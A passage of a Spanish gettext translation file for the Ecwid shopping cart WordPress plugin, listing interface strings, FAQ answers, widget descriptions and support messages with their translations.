templates/dashboard-blog-posts.tpl.php:19 msgid "https://support.ecwid.com/hc/en-us" msgstr "https://support.ecwid.com/hc/en-us" #: templates/dashboard-blog-posts.tpl.php:14 msgid "https://www.ecwid.com/blog" msgstr "https://www.ecwid.com/blog" #: includes/importer/class-ecwid-import.php:39 msgid "Bulk import products and categories to your %s store" msgstr "Importar en masa productos y categorías a su tienda de %s" #: includes/importer/class-ecwid-import.php:38 msgid "%s products and categories" msgstr "%s productos y categorías" #: templates/importer/woo-main.tpl.php:36 #: includes/importer/class-ecwid-import-page.php:52 #: includes/importer/class-ecwid-import-page.php:53 msgid "Import your products from WooCommerce to %s" msgstr "Importe sus productos de WooCommerce a %s" #: includes/importer/class-ecwid-import-page.php:42 #: includes/importer/class-ecwid-import-page.php:43 msgid "Import" msgstr "Importar" #: templates/dashboard-blog-posts.tpl.php:15 #: includes/class-ecwid-wp-dashboard-feed.php:48 msgid "%s Blog" msgstr "Blog de %s" #: includes/class-ecwid-message-manager.php:345 msgid "No Thanks" msgstr "No, gracias" #: includes/class-ecwid-message-manager.php:343 msgid "Import my products from WooCommerce" msgstr "Importar mis productos de WooCommerce" #: includes/class-ecwid-message-manager.php:341 msgid "We noticed you have WooCommerce installed. If you want to easily copy your WooCommerce products to %s, this tool will help you." msgstr "Notamos que tiene WooCommerce instalado. Si desea copiar fácilmente sus productos de WooCommerce a %s, esta herramienta le ayudará." #: includes/class-ecwid-message-manager.php:340 msgid "Need help importing your products from WooCommerce to %s?" msgstr "¿Necesita ayuda para importar sus productos de WooCommerce a %s?" #: includes/class-ecwid-admin.php:213 includes/class-ecwid-admin.php:214 msgid "Customers" msgstr "Clientes" #: templates/help.php:28 msgid "or <a %s>Browse the Help Center" msgstr "o <a %s>consulte el centro de asistencia" #: templates/admin/welcome-connection-message.php:5 msgid "To display your store on this site, you need to allow WordPress to access your %1$s products. Please press connect to provide permission." msgstr "Para mostrar su tienda en este sitio web, debe permitir que WordPress acceda a sus productos de %1$s. Pulse «Conectar» para otorgar el permiso." #: includes/faq_entries.php:40 msgid "Our 4 account types vary by number of products, types of functionality, and level of support. For more information, check out our <a target=\"_blank\" href=\"%s\">pricing page.</a><br /><br />Pro Tip: You can also save money by enrolling in our annual plans." msgstr "Nuestros 4 tipos de cuentas varían según la cantidad de productos, los tipos de funcionalidades y el nivel de asistencia. Para obtener más información, consulte nuestra <a target=\"_blank\" href=\"%s\">página de precios.</a><br /><br />Consejo profesional: también puede ahorrar dinero si se suscribe a nuestros planes anuales." #: includes/class-ecwid-popup-deactivate.php:59 msgid "[%s] WordPress plugin deactivation feedback (store ID: %s)" msgstr "[%s] Comentarios sobre la desactivación del complemento de WordPress (ID de la tienda: %s)" #: includes/class-ecwid-message-manager.php:289 msgid "Your storefront (product listing and checkout) is working fine, but the advanced store functions like SEO and sidebar widgets are disabled. To enable them and make sure your store works properly, please press the button below to connect your %s account. This will take less than a minute — you will only be asked to log in to your account and allow this site to get your store data." msgstr "Su escaparate virtual (listado de productos y página de pago) está funcionando bien, pero las funciones avanzadas de la tienda, como el SEO y los «widgets» de la barra lateral, están inhabilitadas. Para habilitarlas y asegurarse de que su tienda funcione correctamente, pulse el botón de abajo para conectar su cuenta de %s. Esto tomará menos de un minuto; solo se le pedirá que inicie sesión en su cuenta y permita que este sitio web obtenga los datos de su tienda." #: includes/class-ecwid-message-manager.php:288 msgid "Action required: please connect your %s account" msgstr "Acción requerida: conecte su cuenta de %s" #: templates/popup/deactivate.php:24 msgid "Contact Support" msgstr "Ponerse en contacto con la asistencia" #: templates/popup/deactivate.php:1 msgid "If you have a moment, please let us know why you are deactivating:" msgstr "Si tiene un momento, háganos saber por qué está desactivando:" #: templates/admin/welcome-create.php:4 msgid "Create Store" msgstr "Crear tienda" #: templates/advanced-settings.php:1 msgid "%s — Advanced settings" msgstr "%s — Configuración avanzada" #: includes/widgets/class-ecwid-widget-random-products.php:10 msgid "Displays a list of random products." msgstr "Muestra una lista de productos aleatorios." #: includes/widgets/class-ecwid-widget-random-products.php:9 msgid "Random Products" msgstr "Productos aleatorios" #: includes/widgets/class-ecwid-widget-random-product.php:9 #: includes/widgets/class-ecwid-widget-random-product.php:64 msgid "Random Product" msgstr "Producto aleatorio" #: includes/widgets/class-ecwid-widget-random-product.php:8 msgid "Displays a random product from your store to attract customer attention." msgstr "Muestra un producto aleatorio de su tienda para atraer la atención del cliente." #: includes/widgets/class-ecwid-widget-latest-products.php:10 msgid "Displays the latest added products from your store. Show new products to returning customers to drive repeat sales." msgstr "Muestra los últimos productos añadidos de su tienda. Muestre nuevos productos a los clientes existentes para impulsar las ventas repetidas." #: includes/widgets/class-ecwid-widget-latest-products.php:9 msgid "Latest Products" msgstr "Últimos productos" #: includes/class-ecwid-popup-deactivate.php:164 msgid "Can you share your feedback? What was wrong?" msgstr "¿Podría compartir su opinión? ¿Qué fue lo que pasó?" #: includes/class-ecwid-popup-deactivate.php:161 msgid "Other" msgstr "Otro" #: includes/class-ecwid-popup-deactivate.php:155 msgid "It's a temporary deactivation. Please do not ask me again." msgstr "Es una desactivación temporal. No preguntarme de nuevo." #: includes/class-ecwid-popup-deactivate.php:152 msgid "Can you share the name of the plugin you chose?" msgstr "¿Podría compartir el nombre del complemento que ha elegido?" #: includes/class-ecwid-popup-deactivate.php:149 msgid "I found a better plugin" msgstr "Encontré un mejor complemento" #: includes/class-ecwid-popup-deactivate.php:146 msgid "What feature do you need?" msgstr "¿Qué función necesita?" #: includes/class-ecwid-popup-deactivate.php:143 msgid "The plugin doesn't support the feature I want" msgstr "El complemento no es compatible con la función que quiero" #: includes/class-ecwid-popup-deactivate.php:128 msgid "What was wrong?" msgstr "¿Qué fue lo que pasó?" #: includes/class-ecwid-popup-deactivate.php:125 msgid "I have a problem using this plugin" msgstr "Tengo un problema con el uso de este complemento" #: includes/class-ecwid-popup-deactivate.php:112 msgid "Before You Go" msgstr "Antes de que se vaya" #: templates/admin/storefront/area-navigation.php:79 #: includes/class-ecwid-popup-deactivate.php:105 msgid "Cancel" msgstr "Cancelar" #: includes/class-ecwid-popup-deactivate.php:101 msgid "Submit & Deactivate" msgstr "Enviar y desactivar" #: includes/class-ecwid-message-manager.php:244 #: includes/class-ecwid-store-page.php:568 #: includes/integrations/elementor/class-ec-elementor-widget-store.php:51 #: ecwid-shopping-cart.php:1082 js/gutenberg/blocks.build.js:1 msgid "Set up your store" msgstr "Configure su tienda" #: templates/admin-head.php:8 includes/class-ecwid-admin.php:48 #: includes/integrations/class-ecwid-integration-gutenberg.php:45 #: includes/gutenberg/class-ecwid-gutenberg.php:69 msgid "%s" msgstr "%s" #: templates/product-popup.php:199 js/gutenberg/blocks.build.js:1 msgid "«Buy now» button" msgstr "Botón de «Comprar ahora»" #: templates/admin/simple-dashboard.php:10 msgid "%s Shopping Cart" msgstr "Carrito de compras de %s" #: templates/advanced-settings.php:42 msgid "Please subscribe to a paid plan to get this feature." msgstr "Suscríbase a un plan de pago para obtener esta función." #: templates/admin-footer.php:9 msgid "Get %s mobile app" msgstr "Descargue la aplicación móvil de %s" #: includes/class-ecwid-message-manager.php:272 msgid "Rate %s at WordPress.org" msgstr "Tasa de %s en WordPress.org" #: includes/class-ecwid-message-manager.php:268 msgid "Do you like your %s online store? We'd appreciate it if you add your review and vote for the plugin on WordPress site." msgstr "¿Le gusta su tienda de %s en línea? Apreciaríamos si comparte su opinión y vota por el complemento en el sitio de WordPress." #: includes/class-ecwid-message-manager.php:260 msgid "To add extra functions to your store, drag and drop %s store elements on your site. When you're done, you can get back to modifying your settings." msgstr "Para añadir funciones adicionales a su tienda, arrastre y suelte los elementos de la tienda de %s en su sitio web. Una vez que haya terminado, puede volver a modificar su configuración." #: templates/sync.php:114 msgid "Provide access." msgstr "Otorgar acceso." #: templates/sync.php:113 msgid "To enable this feature, the plugin needs a permission to read your store product information." msgstr "Para habilitar esta función, el complemento necesita un permiso para leer la información del producto de su tienda." #: templates/product-popup.php:137 templates/product-popup.php:147 msgid "Choose Product" msgstr "Elegir producto" #: templates/product-popup.php:96 msgid "Try another search." msgstr "Intente otra búsqueda." #: templates/sync.php:152 msgid "Not synchronized yet" msgstr "No se ha sincronizado todavía" #: templates/sync.php:149 msgid "Last update" msgstr "Última actualización" #: templates/sync.php:145 msgid "Products are successfully synchronized. The product pages are up to date." msgstr "Los productos se sincronizaron satisfactoriamente. Las páginas de productos están actualizadas." #: templates/sync.php:138 msgid "Products synchronized: %1$s out of %2$s" msgstr "Productos eliminados sincronizados: %1$s de %2$s" #: templates/sync.php:126 msgid "We're synchronizing your products. This may take a few minutes. Please do not reload the page." msgstr "Estamos sincronizando sus productos. Esto puede tardar unos minutos. No actualice la página." #: templates/sync.php:119 msgid "Synchronize products" msgstr "Sincronizar productos" #: templates/advanced-settings.php:83 msgid "%s stores your products data in a secure cloud storage. The product pages are displayed on the fly when a customer browses your store. So, basically, the products are not stored on the site, that's why the site search doesn't find product pages while looking through site pages and posts. This option enables a local storage mode: the products will be stored both in the cloud and on your site. The site search results will list product pages as well as regular pages/posts of your site." msgstr "%s almacena los datos de sus productos de forma segura en la nube. Las páginas de productos se muestran sobre la marcha cuando un cliente navega por su tienda. Por lo que, básicamente, los productos no se almacenan en el sitio web, por eso la búsqueda en el sitio web no encuentra páginas de productos mientras busca en las páginas del sitio web y en las publicaciones. Esta opción habilita un modo de almacenamiento local: los productos se almacenarán tanto en la nube como en su sitio web. Los resultados de la búsqueda en el sitio web incluirán las páginas de productos, así como las páginas o publicaciones habituales de su sitio web." #: templates/product-popup.php:243 msgid "Insert" msgstr "Insertar" #: templates/product-popup.php:242 msgid "select product" msgstr "seleccionar producto" #: templates/product-popup.php:241 templates/product-popup.php:246 msgid "customize appearance" msgstr "personalizar apariencia" #: templates/product-popup.php:224 msgid "Show price inside the \"Buy now\" button" msgstr "Mostrar el precio dentro del botón de «Comprar ahora»" #: templates/product-popup.php:229 #: includes/integrations/elementor/class-ec-elementor-widget-buynow.php:62 #: js/gutenberg/blocks.build.js:1 msgid "Center align on a page" msgstr "Centrar la alineación en una página" #: templates/product-popup.php:219 js/gutenberg/blocks.build.js:1 msgid "Add border" msgstr "Añadir borde" #: templates/product-popup.php:188 js/gutenberg/blocks.build.js:1 msgid "Quantity" msgstr "Cantidad" #: templates/product-popup.php:178 js/gutenberg/blocks.build.js:1 msgid "Options" msgstr "Opciones" #: templates/product-popup.php:173 js/gutenberg/blocks.build.js:1 msgid "Picture" msgstr "Imagen" #: templates/product-popup.php:163 msgid "Choose product properties to display in widget" msgstr "Elija las propiedades del producto para mostrarlas en el «widget»" #: templates/product-popup.php:139 templates/product-popup.php:151 msgid "Customize widget" msgstr "Personalizar «widget»" #: templates/product-popup.php:97 msgid "Browse all products." msgstr "Explorar todos los productos." #: templates/product-popup.php:94 msgid "Nothing found for <span class=\"empty-page__term\">\"{{ data.term }}\"</span>" msgstr "No se ha encontrado nada en relación con <span class=\"empty-page__term\">«{{ data.term }}»</span>" #: templates/product-popup.php:80 msgid "Next page" msgstr "Página siguiente" #: templates/product-popup.php:69 msgid "Current Page" msgstr "Página actual" #: templates/product-popup.php:49 msgid "Title or SKU" msgstr "Título o REF" #: templates/product-popup.php:47 templates/product-popup.php:53 #: templates/product-popup.php:56 msgid "Search" msgstr "Buscar" #: templates/product-popup.php:29 msgid "SKU" msgstr "REF" #: templates/product-popup.php:23 msgid "Name" msgstr "Nombre" #: includes/class-ecwid-product-popup.php:150 msgid "Last Page" msgstr "Última página" #: includes/class-ecwid-product-popup.php:149 msgid "Next Page" msgstr "Página siguiente" #: includes/class-ecwid-product-popup.php:148 msgid "Previous Page" msgstr "Página anterior" #: includes/class-ecwid-product-popup.php:147 msgid "First Page" msgstr "Primera página" #: includes/class-ecwid-product-popup.php:107 msgid "Add Product" msgstr "Añadir producto" #: includes/class-ecwid-oauth.php:366 msgid "To be able to choose a product to insert to your posts and pages, you will need to re-connect your site to your %s store. This will only require you to accept permissions request – so that the plugin will be able to list your products in the \"Add product\" dialog." msgstr "A fin de poder elegir un producto para insertarlo en sus publicaciones y páginas, deberá volver a conectar su sitio a su tienda de %s. Esto solo requerirá que acepte la solicitud de permisos para que el complemento pueda listar sus productos en el cuadro de diálogo «Añadir producto»." #: templates/advanced-settings.php:54 msgid "To make sure your customer can actually log in to your site and store, enable registration in the <a %s>site settings</a>" msgstr "Para asegurarse de que su cliente puede acceder realmente a su sitio web y a la tienda, habilite el registro en las <a %s>configuraciones del sitio web</a>" #: templates/advanced-settings.php:48 msgid "To allow %s automatically log in customers to your store, please provide it with a permission to use the customer data in the store. <a %s>Please use this link to do that</a>" msgstr "Para permitir que %s inicie la sesión de sus clientes automáticamente en su tienda, otorgue los permisos para utilizar los datos del cliente en la tienda. <a %s>Utilice este enlace para hacerlo</a>" #: templates/advanced-settings.php:39 msgid "Upgrade to get this feature" msgstr "Actualice para obtener esta función" #: templates/advanced-settings.php:32 msgid "Single Sign-On allows your customers to have a single login for your WordPress site and your %s. When someone logs in to your site, they will automatically be logged in to their customer account in your store as well with no need to enter their email/password again." msgstr "El inicio de sesión único les permite a sus clientes tener un inicio de sesión único para su sitio web de WordPress y su %s. Cuando alguien inicie sesión en su sitio web, también iniciará sesión automáticamente en su cuenta de cliente en la tienda sin necesidad de introducir su correo electrónico y contraseña nuevamente." #: templates/advanced-settings.php:27 msgid "Customer Single Sign-On" msgstr "Inicio de sesión único del cliente" #: includes/integrations/class-ecwid-integration-divibuilder.php:63 msgid "Enter optional CSS classes to be used for this module. A CSS class can be used to create custom CSS styling. You can add multiple classes, separated with a space." msgstr "Introduzca las clases CSS opcionales que se utilizarán para este módulo. Se puede utilizar una clase CSS para crear estilos CSS personalizados. Puede añadir varias clases separadas por un espacio." #: includes/integrations/class-ecwid-integration-divibuilder.php:60 msgid "CSS Class" msgstr "Clase CSS" #: includes/integrations/class-ecwid-integration-divibuilder.php:57 msgid "Enter an optional CSS ID to be used for this module. An ID can be used to create custom CSS styling, or to create links to particular sections of your page." msgstr "Introduzca un ID de CSS opcional que se utilizará para este módulo. Se puede utilizar un ID para crear un estilo CSS personalizado o para crear enlaces a secciones particulares de su página web." #: includes/integrations/class-ecwid-integration-divibuilder.php:54 msgid "CSS ID" msgstr "ID de CSS" #: includes/integrations/class-ecwid-integration-divibuilder.php:51 msgid "This will change the label of the module in the builder for easy identification." msgstr "Esto cambiará la etiqueta del módulo en el creador para una fácil identificación." #: includes/integrations/class-ecwid-integration-divibuilder.php:49 msgid "Admin Label" msgstr "Etiqueta de administrador" #: includes/integrations/class-ecwid-integration-divibuilder.php:44 msgid "Here you can create the content that will be used within the module." msgstr "Aquí puede crear el contenido que se utilizará dentro del módulo." #: includes/integrations/class-ecwid-integration-divibuilder.php:41 msgid "Content" msgstr "Contenido" #: templates/admin-footer.php:29 msgid "<a %s>Reconnect</a>" msgstr "<a %s>Volver a conectar</a>" #: templates/help.php:15 msgid "https://support.ecwid.com/hc/en-us/search" msgstr "https://support.ecwid.com/hc/en-us/search" #: includes/widgets/class-ecwid-widget-vertical-categories-list.php:73 msgid "Browse by Category" msgstr "Buscar por categoría" #: includes/widgets/class-ecwid-widget-vertical-categories-list.php:15 msgid "Store Root Categories" msgstr "Categorías raíz de la tienda" #: includes/widgets/class-ecwid-widget-vertical-categories-list.php:14 msgid "Adds root categories list to the sidebar to let your customers navigate the store." msgstr "Añade la lista de categorías raíz a la barra lateral para que sus clientes puedan desplazarse por la tienda." #: templates/admin/welcome-connection-message.php:25 msgid "To sell using %1$s, you must allow WordPress to access the %1$s plugin. The connect button will direct you to your %1$s account where you can provide permission." msgstr "Para vender utilizando %1$s, debe permitir que WordPress acceda al complemento %1$s. El botón «Conectar» lo redirigirá a su cuenta de %1$s donde puede otorgar el permiso." #: templates/admin-timeout.php:11 msgid "Our team is already working on this issue. Please refresh the page in a few minutes. If the issue persists, please contact <a target=\"_blank\" href=\"https://help.ecwid.com/customer/portal/emails/new\">our customer support team</a>." msgstr "Nuestro equipo ya está trabajando en este asunto. Actualice la página en unos minutos. Si el problema persiste, comuníquese con <a target=\"_blank\" href=\"https://help.ecwid.com/customer/portal/emails/new\">nuestro equipo de atención al cliente</a>." #: templates/admin-timeout.php:9 msgid "Sorry we're having technical difficulties." msgstr "Le pido disculpas por las dificultades técnicas que estamos experimentando." #: includes/class-ecwid-floating-minicart.php:153 #: includes/widgets/class-ecwid-widget-floating-shopping-cart.php:143 msgid "Top right" msgstr "Arriba a la derecha" #: includes/class-ecwid-floating-minicart.php:152 #: includes/widgets/class-ecwid-widget-floating-shopping-cart.php:138 msgid "Bottom right" msgstr "Abajo a la derecha" #: includes/widgets/class-ecwid-widget-floating-shopping-cart.php:135 #: includes/class-ecwid-customizer.php:110 msgid "Position" msgstr "Posición" #: includes/widgets/class-ecwid-widget-floating-shopping-cart.php:20 msgid "Adds a shopping cart widget to the top right corner of your site." msgstr "Añada un «widget» de carrito de compras en la esquina superior derecha de su sitio web." #: templates/help.php:215 msgid "You can send a new request here." msgstr "Puede enviar una nueva solicitud aquí." #: templates/help.php:214 msgid " Thank you very much for contacting us! We will get back to you shortly." msgstr " ¡Muchas gracias por ponerse en contacto con nosotros! Nos pondremos en contacto con usted en breve." #: templates/help.php:213 msgid "Your email has been sent" msgstr "Se ha enviado su correo electrónico" #: templates/help.php:207 msgid "Send message failed" msgstr "Ocurrió un error al enviar el mensaje" #: templates/help.php:196 msgid "Send Message" msgstr "Enviar mensaje" #: templates/help.php:193 msgid "Type in your message here" msgstr "Escriba su mensaje aquí" #: templates/help.php:192 msgid "Subject" msgstr "Asunto" #: templates/help.php:186 msgid "Send a message to our support team" msgstr "Envíe un mensaje a nuestro equipo de asistencia" #: templates/help.php:177 msgid "Still have questions about Ecwid? Let us know!" msgstr "¿Todavía tiene preguntas acerca de Ecwid? ¡Háganoslo saber!" #: templates/help.php:176 msgid "Contact us" msgstr "Póngase en contacto con nosotros" #: templates/help.php:33 msgid "Frequently Asked Questions" msgstr "Preguntas frecuentes" #: templates/help.php:21 msgid "Search the Knowledge Base" msgstr "Buscar en la base de conocimientos" #: templates/help.php:17 msgid "E.g. How to set up shipping" msgstr "Por ejemplo, cómo establecer el envío" #: templates/help.php:11 msgid "How can we help you?" msgstr "¿Cómo podemos ayudarle?" #: includes/faq_entries.php:68 msgid "You can display your store on the site main page. Adjust the \"Reading\" settings of your site as described in our <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#displaystoreonhomepage\">Help Center.</a>" msgstr "Puede mostrar su tienda en la página principal del sitio web. Ajuste la configuración de «Lectura» de su sitio web como se describe en nuestro <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#displaystoreonhomepage\">centro de asistencia.</a>" #: includes/faq_entries.php:67 msgid "Is it possible to display my store on the site home page?" msgstr "¿Es posible mostrar mi tienda en la página de inicio del sitio web?" #: includes/faq_entries.php:61 msgid "To feature a single product on a separate page or blog post of your site, use <b>[ecwid_product]</b> shortcode. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#buynow\">How to use it.</a>" msgstr "Para mostrar un solo producto en una página aparte o en una entrada de blog de su sitio web, utilice el código corto <b>[ecwid_product]</b>. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#buynow\">Cómo utilizarlo</a>" #: includes/faq_entries.php:60 msgid "How to add a single product with the add to bag button to the site pages?" msgstr "¿Cómo añadir un solo producto con el botón de «añadir a la bolsa» en las páginas del sitio web?" #: includes/faq_entries.php:55 msgid "To create sitemap for your Wordpress site we suggest using <a target=\"_blank\" href=\"https://wordpress.org/plugins/google-sitemap-generator/\">Google XML Sitemaps</a> or <a target=\"_blank\" href=\"https://wordpress.org/plugins/wordpress-seo/\">Yoast Wordpress SEO</a>.  plugins. These plugins are fully compatible with Ecwid and allow to generate a sitemap that will contain links to categories and product pages, so the store pages will get indexed faster. Please note that this option is available to <a target=\"_blank\" href=\"https://www.ecwid.com/pricing\">paid Ecwid users</a>." msgstr "Para crear un «Mapa del sitio» para su sitio web de Wordpress, le sugerimos que utilice los  complementos <a target=\"_blank\" href=\"https://wordpress.org/plugins/google-sitemap-generator/\">Google XML Sitemaps</a> o <a target=\"_blank\" href=\"https://wordpress.org/plugins/wordpress-seo/\">Yoast Wordpress SEO</a>. Estos complementos son totalmente compatibles con Ecwid y permiten generar un mapa del sitio que contiene enlaces a categorías y páginas de productos, por lo que las páginas de la tienda se indexarán más rápido. Tenga en cuenta que esta opción solo está disponible para los <a target=\"_blank\" href=\"https://www.ecwid.com/pricing\">usuarios de pago de Ecwid</a>." #: includes/faq_entries.php:54 msgid "How do I put my products in the sitemap?" msgstr "¿Cómo pongo mis productos en el mapa del sitio?" #: includes/faq_entries.php:48 msgid "You can add the store categories menu to your site menu to help your customers easily navigate your site. Just open \"Appearance > Menus\" in your WordPress control panel and add the \"Store with Categories Menu\" item to your site menu. A drop-down menu containing your store categories will automatically appear on your site." msgstr "Puede añadir el menú de categorías de la tienda al menú de su sitio web para ayudar a sus clientes a navegar fácilmente por su sitio web. Simplemente abra «Apariencia > Menús» en el panel de WordPress y añada el elemento «Tienda con menú de categorías» al menú de su sitio web. Aparecerá automáticamente un menú desplegable que contendrá las categorías de su tienda en su sitio web." #: includes/faq_entries.php:47 msgid "How do I add store categories to the site menu?" msgstr "¿Cómo puedo añadir categorías de tiendas al menú del sitio web?" #: includes/faq_entries.php:38 msgid "How much does Ecwid cost?" msgstr "¿Cuánto cuesta Ecwid?" #: includes/faq_entries.php:30 msgid "You can add product search box, cart widget and more on the <a href=\"%s\">\"Appearance / Widgets page\"</a> here in your site admin. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#sidebarwidgets\">More details.</a>" msgstr "Puede añadir un cuadro de búsqueda de productos, un «widget» de carrito y más desde la <a href=\"%s\">«Página de apariencia y widgets»</a> que se encuentra aquí en el administrador de su sitio web. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#sidebarwidgets\">Más detalles.</a>" #: includes/faq_entries.php:28 msgid "How can I add a cart widget to my site sidebar?" msgstr "¿Cómo puedo añadir un «widget» de carrito de compras a la barra lateral de mi sitio web?" #: includes/faq_entries.php:21 msgid "You can add your online store to your Facebook business page. No addons needed. Ecwid will automatically synchronize products, customers, orders and inventory between your WordPress and Facebook storefronts. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/115005892705-Facebook-Shop\">More details.</a>" msgstr "Puede añadir su tienda en línea a su página empresarial de Facebook (no se necesitan complementos). Ecwid sincronizará automáticamente los productos, clientes, pedidos e inventario entre su tienda en línea de WordPress y Facebook. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/115005892705-Facebook-Shop\">Más detalles.</a>" #: includes/faq_entries.php:20 msgid "How to set up a storefront on Facebook with Ecwid?" msgstr "¿Cómo crear una tienda en Facebook con Ecwid?" #: includes/faq_entries.php:13 msgid "Ecwid provides free mobile applications for iOS and Android to manage your store and sell on the go. Scan products, track inventory, manage sales and accept payments using your mobile device as a POS station. <a target=\"_blank\" href=\"https://www.ecwid.com/ecwid-mobile\">More details.</a>" msgstr "Ecwid ofrece aplicaciones móviles gratuitas para iOS y Android para que pueda gestionar su tienda y vender donde y cuando quiera. Escanee productos, supervise el inventario, gestione las ventas y acepte pagos utilizando su dispositivo móvil como una estación de punto de venta. <a target=\"_blank\" href=\"https://www.ecwid.com/ecwid-mobile\">Más detalles.</a>" #: includes/faq_entries.php:12 msgid "How can I manage my store from a mobile device?" msgstr "¿Cómo puedo gestionar mi tienda desde un dispositivo móvil?" #: includes/faq_entries.php:6 msgid "Ecwid is PCI DSS Level 1 certified, which is the gold standard for e-commerce solutions worldwide. This means you won't have any banking compliance issues when selling online with Ecwid. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#security\">More details.</a>" msgstr "Ecwid cuenta con la certificación PCI DSS Nivel 1, que es el estándar de oro para las soluciones de comercio electrónico en todo el mundo. Esto significa que no tendrá problemas de cumplimiento bancario cuando venda en línea con Ecwid. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#security\">Más detalles.</a>" #: includes/faq_entries.php:5 msgid "How secure is this plugin? Is my store PCI DSS compliant?" msgstr "¿Qué tan seguro es este complemento? ¿Mi tienda cumple con el PCI DSS?" #: includes/class-ecwid-nav-menus.php:32 msgid "Ecwid Menu Item" msgstr "Elemento del menú de Ecwid" #: includes/class-ecwid-admin.php:179 includes/class-ecwid-admin.php:180 msgid "Help" msgstr "Ayuda" #: templates/admin-footer.php:27 msgid "Want to connect another %s store?" msgstr "¿Desea conectar otra tienda de %s?" #: templates/admin-footer.php:17 msgid "Questions?" msgstr "¿Tiene alguna pregunta?" #: templates/admin-footer.php:6 msgid "Manage Store on iPhone, iPad or Android" msgstr "Gestione la tienda desde iPhone, iPad o Android" #: includes/class-ecwid-message-manager.php:254 msgid "Complete Setup" msgstr "Completar configuración" #: includes/class-ecwid-message-manager.php:253 msgid "Complete setup and start selling" msgstr "Complete la configuración y comience a vender" #: includes/class-ecwid-message-manager.php:242 msgid "Greetings! Your %s plugin is now active." msgstr "¡Enhorabuena! Su complemento de %s ya está activo." #: templates/debug.php:12 msgid "Download log file" msgstr "Descargar archivo de registro" #: templates/help.php:67 includes/oembed.php:75 includes/oembed.php:104 msgid "See more" msgstr "Ver más" #: ecwid-shopping-cart.php:1051 msgid "I have a problem with my %s store" msgstr "Tengo un problema con mi tienda de %s" #: includes/class-ecwid-message-manager.php:55 msgid "Sorry, there is a problem. This page is supposed to display your store Control Panel. However, this Wordpress site doesn't seem to be able to connect to the Ecwid server to show your store dashboard here. This is likely caused by your server misconfiguration and can be fixed by your hosting provider. Here is a more techy description of the problem, which you can send to your hosting provider: \"The Wordpress function wp_remote_post() failed to connect a remote server because of some error: \"%s\". Seems like HTTP POST requests are disabled on this server\". <br /><br />Please feel free to contact us at <a %s>wordpress@ecwid.com</a> and we will help you contact your hosting and ask them to fix the issue. <br /><br /> Meanwhile, to manage your store, you can use the Ecwid Web Control Panel at <a %s>my.ecwid.com</a>. Your store front is working fine as well and you can check it here: <a %s>%s</a>." msgstr "Lo siento, hay un problema. Se supone que esta página muestra el panel de control de su tienda; sin embargo, este sitio web de Wordpress no parece poder conectarse al servidor de Ecwid para mostrar el panel de su tienda aquí. Es probable que esto se deba a una mala configuración del servidor; su proveedor de alojamiento web puede solucionarlo. Aquí hay una descripción más técnica del problema, la cual puede enviarle a su proveedor de alojamiento web: «La función de Wordpress wp_remote_post() no pudo conectarse a un servidor remoto debido al error: “%sâ€; parece que las solicitudes HTTP POST están inhabilitadas en este servidor». <br /><br />No dude en ponerse en contacto con nosotros en <a %s>wordpress@ecwid.com</a> y le ayudaremos a comunicarse con su proveedor de alojamiento web para pedirle que solucione el problema. <br /><br /> Mientras tanto, para gestionar su tienda, puede utilizar el panel de control web de Ecwid en <a %s>my.ecwid.com</a>. Su escaparate virtual está funcionando bien; puede echarle un vistazo aquí: <a %s>%s</a>." #: templates/store-popup.php:249 msgid "Open store dashboard" msgstr "Abrir el panel de la tienda" #: templates/store-popup.php:12 templates/store-popup.php:27 msgid "Store elements" msgstr "Elementos de la tienda" #: templates/reconnect-sso.php:10 msgid "Re-connect to Enable Control Panel" msgstr "Vuélvase a conectar para activar el panel de control" #: templates/reconnect-sso.php:8 msgid "Manage products, track sales, adjust settings - <nobr>All without</nobr> leaving this page." msgstr "Gestione productos, supervise las ventas y ajuste la configuración: <nobr>todo sin</nobr> salir de esta página." #: templates/reconnect-sso.php:7 msgid "Your store Control Panel. Right here in WordPress." msgstr "Panel de control de su tienda. Aquí mismo en WordPress." #: ecwid-shopping-cart.php:2114 msgid "Orders" msgstr "Pedidos" #: includes/class-ecwid-nav-menus.php:168 ecwid-shopping-cart.php:2118 msgid "The store top-level categories are automatically added to this drop-down menu" msgstr "Las categorías de alto nivel de la tienda se añaden automáticamente a este menú desplegable" #: includes/class-ecwid-nav-menus.php:167 ecwid-shopping-cart.php:2117 msgid "Done" msgstr "Hecho" #: includes/class-ecwid-nav-menus.php:166 ecwid-shopping-cart.php:2116 msgid "Refresh categories list" msgstr "Actualizar la lista de categorías" #: includes/class-ecwid-nav-menus.php:165 msgid "Store Page" msgstr "Página de la tienda" #: includes/class-ecwid-nav-menus.php:319 msgid "Add to Menu" msgstr "Añadir al menú" #: includes/class-ecwid-nav-menus.php:316 msgid "Select All" msgstr "Seleccionar todo" #: includes/class-ecwid-nav-menus.php:369 msgid "Store with Categories Menu" msgstr "Tienda con menú de categorías" #: includes/class-ecwid-nav-menus.php:352 #: includes/class-ecwid-nav-menus.php:355 msgid "My Account" msgstr "Mi cuenta" #: includes/class-ecwid-nav-menus.php:335 #: includes/class-ecwid-floating-minicart.php:135 #: includes/class-ecwid-admin-storefront-page.php:279 msgid "Cart" msgstr "Carrito" #: includes/class-ecwid-admin.php:87 includes/class-ecwid-admin.php:88 #: includes/class-ecwid-products.php:228 ecwid-shopping-cart.php:2112 msgid "Products" msgstr "Productos" #: includes/class-ecwid-admin.php:79 includes/class-ecwid-admin.php:80 msgid "Sales" msgstr "Ventas" #: ecwid-shopping-cart.php:1119 msgid "Report a problem with the store" msgstr "Informar un problema con la tienda" #: ecwid-shopping-cart.php:1036 msgid "%s plugin doesn't work well with my \"%s\" theme" msgstr "El complemento %s no funciona bien con mi tema «%s»" #: templates/admin/welcome-connection-message.php:22 #: templates/admin/welcome-connection-message.php:28 msgid "Looks 